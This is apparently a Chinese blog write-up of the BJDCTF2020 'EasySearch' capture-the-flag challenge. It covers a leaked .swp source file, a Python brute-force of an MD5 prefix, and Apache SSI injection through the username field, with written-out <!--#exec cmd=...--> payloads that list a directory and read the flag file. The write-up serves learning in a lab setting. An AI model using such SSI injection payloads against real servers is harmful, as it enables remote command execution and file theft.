[BJDCTF2020]EasySearch

Apache SSI远程命令执行漏洞

1.根据题目,扫描一下,御剑扫描扫到了是swp文件泄露 index.php.swp的备份文件

2.打开可以得到源码,好像是是传入的password md5加密前六位要等于admin 也就是等于 “6d0bc1” username可以随便写

image-20220215162831021

3.这个可以用脚本跑下

import hashlib

for i in range(1000000000):
   a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
   if a[0:6] == '6d0bc1':
       print(i,a)

跑出来3个有用的,随便选一个密码登入进去,username随便填

2020666 2305004 9162671

4.进去后看不到啥东西,就在源码和请求头这些地方看看,发现了一个提示url,

image-20220215164223201

进入网址,可以看到我们username(admin66就是我输入的username),那么注入点应该就在username

image-20220215185921091

shtml,查到了Apache SSI 远程命令执行漏洞,

让username=<!--#exec cmd="ls ../"--> 这样进入网址后看到了flag文件

那么知道了flag的位置就好办了 直接username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->

image-20220215185348448

得到flag

image-20220215185727302

 

(shtml是一种基于SSI技术的文件。SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于 CGI,用于动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。IIS和Apache都可以开启SSI功能)

漏洞参考文献

posted @ 2022-02-16 16:39  L0VEhzzz  阅读(90)  评论(0编辑  收藏  举报